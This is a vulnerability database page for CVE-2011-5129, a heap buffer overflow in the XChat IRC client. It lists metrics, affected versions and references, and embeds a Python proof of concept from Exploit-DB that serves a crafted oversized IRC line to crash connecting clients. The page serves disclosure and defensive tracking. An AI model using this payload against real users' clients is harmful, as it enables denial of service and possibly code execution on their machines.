CVE-2011-5129 : Detail

CVE-2011-5129

Overflow
30.57%V3
Network
2012-08-30
20h00 +00:00
2013-02-14
09h00 +00:00
CVE.org
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CVE Descriptions

Heap-based buffer overflow in XChat 2.8.9 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long response string.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18159

Publication date : 2011-11-24 23h00 +00:00
Author : Jane Doe
EDB Verified : Yes

#!/usr/bin/python # Exploit Title: XChat Heap Overflow DoS Proof of Concept # Date: June 2011 # Author: th3p4tri0t # Software Link: http://xchat.org/ # Version: <= 2.8.9 # This only works on XChat on KDE, I'm not sure about windows. # It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5 # It is a heap overflow and is some sort of error with X Windows # It uses 1537 (this is the minimum) of the ascii value 20 # after this, an unknown number of any other character (did not check for special # characters) is required to trigger a crash, presumably the payload will go here. # th3p4tri0t import socket print "XChat PoC Exploit by th3p4tri0t\n" print "Creating server..." sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print " [*] Binding to socket..." sock.bind(('127.0.0.1', 6667)) print " [*] Listening on socket..." sock.listen(5) print " [*] Accepting connection..." (target, address) = sock.accept() print " [*] Sending payload..." buffer = "hybrid7.debian.local " buffer += chr(20) * 1537 # minimum required of this character buffer += "A"*4000 # anything can go here and it still works. buffer += " :*\r\n" target.send(buffer) target.close sock.close

Products Mentioned

Configuraton 0

Xchat>>Xchat >> Version To (including) 2.8.9

Xchat>>Xchat >> Version 1.2.1

Xchat>>Xchat >> Version 1.3.9

Xchat>>Xchat >> Version 1.3.10

Xchat>>Xchat >> Version 1.3.11

Xchat>>Xchat >> Version 1.3.12

Xchat>>Xchat >> Version 1.3.13

Xchat>>Xchat >> Version 1.4

Xchat>>Xchat >> Version 1.4.1

Xchat>>Xchat >> Version 1.4.2

Xchat>>Xchat >> Version 1.4.3

Xchat>>Xchat >> Version 1.5.6

Xchat>>Xchat >> Version 1.8.0

Xchat>>Xchat >> Version 1.8.1

Xchat>>Xchat >> Version 1.8.2

Xchat>>Xchat >> Version 1.8.3

Xchat>>Xchat >> Version 1.8.4

Xchat>>Xchat >> Version 1.8.5

Xchat>>Xchat >> Version 1.8.6

Xchat>>Xchat >> Version 1.8.7

Xchat>>Xchat >> Version 1.8.8

Xchat>>Xchat >> Version 1.8.9

Xchat>>Xchat >> Version 1.9.0

Xchat>>Xchat >> Version 1.9.1

Xchat>>Xchat >> Version 1.9.2

Xchat>>Xchat >> Version 1.9.3

Xchat>>Xchat >> Version 1.9.4

Xchat>>Xchat >> Version 1.9.5

Xchat>>Xchat >> Version 1.9.6

Xchat>>Xchat >> Version 1.9.7

Xchat>>Xchat >> Version 1.9.8

Xchat>>Xchat >> Version 1.9.9

Xchat>>Xchat >> Version 2.0.0

Xchat>>Xchat >> Version 2.0.1

Xchat>>Xchat >> Version 2.0.2

Xchat>>Xchat >> Version 2.0.3

Xchat>>Xchat >> Version 2.0.4

Xchat>>Xchat >> Version 2.0.5

Xchat>>Xchat >> Version 2.0.6

Xchat>>Xchat >> Version 2.0.7

Xchat>>Xchat >> Version 2.0.8

Xchat>>Xchat >> Version 2.6.7

Xchat>>Xchat >> Version 2.8.0

Xchat>>Xchat >> Version 2.8.1

Xchat>>Xchat >> Version 2.8.3

Xchat>>Xchat >> Version 2.8.3

Xchat>>Xchat >> Version 2.8.3

Xchat>>Xchat >> Version 2.8.4

Xchat>>Xchat >> Version 2.8.5

Xchat>>Xchat >> Version 2.8.5

Xchat>>Xchat >> Version 2.8.6

Xchat>>Xchat >> Version 2.8.7

Xchat>>Xchat >> Version 2.8.7

Xchat>>Xchat >> Version 2.8.7

Xchat>>Xchat >> Version 2.8.7

Xchat>>Xchat >> Version 2.8.7

Xchat>>Xchat >> Version 2.8.7

Xchat>>Xchat >> Version 2.8.7b

Xchat>>Xchat >> Version 2.8.8

References

http://www.securityfocus.com/bid/50820
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id?1027468
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/77629
Tags : vdb-entry, x_refsource_OSVDB
http://www.exploit-db.com/exploits/18159
Tags : exploit, x_refsource_EXPLOIT-DB